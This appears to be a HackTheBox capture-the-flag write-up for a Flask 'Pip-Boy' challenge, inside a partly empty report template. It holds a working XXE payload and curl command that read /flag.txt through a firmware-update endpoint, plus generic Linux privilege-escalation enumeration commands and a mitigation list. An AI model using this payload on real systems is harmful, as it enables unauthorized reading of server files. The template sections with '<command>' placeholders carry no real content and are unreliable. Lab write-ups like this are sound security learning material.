Jailbreak

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-28 | Status: Solved Techniques: local_file_inclusion, xxe_injection

Summary

The crew secures an experimental Pip-Boy from a black market merchant, recognizing its potential to unlock the heavily guarded bunker of Vault 79. Back at their hideout, the hackers and engineers collaborate to jailbreak the device, working meticulously to bypass its sophisticated biometric locks. U

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackthebox | ID: 20260128_hackthebox_jailbreak
• Tags: flask, lfi, python, xxe, xml
• Indicators: XML input accepted, application/xml content-type, firmware update, file upload/config
• Source: 20260128_hackthebox_jailbreak.md

Foothold

Vulnerability / Misconfiguration

1. local_file_inclusion
2. xxe_injection

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• local_file_inclusion
• xxe_injection
• Tags: flask, lfi, python, xxe, xml

Original Writeup

<details><summary>Click to expand original content</summary>

Jailbreak - HackTheBox

Description

The crew secures an experimental Pip-Boy from a black market merchant, recognizing its potential to unlock the heavily guarded bunker of Vault 79. Back at their hideout, the hackers and engineers collaborate to jailbreak the device, working meticulously to bypass its sophisticated biometric locks. Using custom firmware and a series of precise modifications, can you bring the device to full operational status in order to pair it with the vault door's access port.

Target: 83.136.249.164:45064

Analysis

Initial Reconnaissance

Connected to the target and discovered a Flask/Werkzeug Python web application simulating a Pip-Boy device with multiple pages:

• STAT
• INV
• DATA
• MAP
• RADIO
• ROM

Vulnerability Discovery

1. Found the /rom page containing a "Firmware Update" feature
2. The page accepts XML configuration input
3. Discovered /static/js/update.js which reveals the API endpoint:
   • Endpoint: POST /api/update
   • Content-Type: application/xml

The XML parser does not properly sanitize external entities, making it vulnerable to XXE (XML External Entity) Injection.

Solution

XXE Payload

Crafted an XXE payload to read /flag.txt by defining an external entity that references the local file:

 xml read-only • copy allowed Copy
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<FirmwareUpdateConfig>
    <Firmware>
        <Version>&xxe;</Version>
        <ReleaseDate>2077-10-21</ReleaseDate>
        <Description>Test</Description>
        <Checksum type="SHA-256">test</Checksum>
    </Firmware>
</FirmwareUpdateConfig>

Exploit Command

 bash read-only • copy allowed Copy
curl -s -X POST http://83.136.249.164:45064/api/update \
  -H "Content-Type: application/xml" \
  -d '<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<FirmwareUpdateConfig>
    <Firmware>
        <Version>&xxe;</Version>
        <ReleaseDate>2077-10-21</ReleaseDate>
        <Description>Test</Description>
        <Checksum type="SHA-256">test</Checksum>
    </Firmware>
</FirmwareUpdateConfig>'

Response

 json read-only • copy allowed Copy
{
  "message": "Firmware version HTB{REDACTED} update initiated."
}

The flag content was reflected in the Version field of the response, confirming successful XXE exploitation.

Mitigation

To prevent XXE attacks:

1. Disable external entity processing in XML parsers
2. Use defusedxml library in Python instead of standard xml module
3. Validate and sanitize XML input
4. Use less complex data formats (JSON) when possible

References

• OWASP XXE Prevention Cheat Sheet
• PortSwigger XXE Guide

</details>

---

signed by XESXOR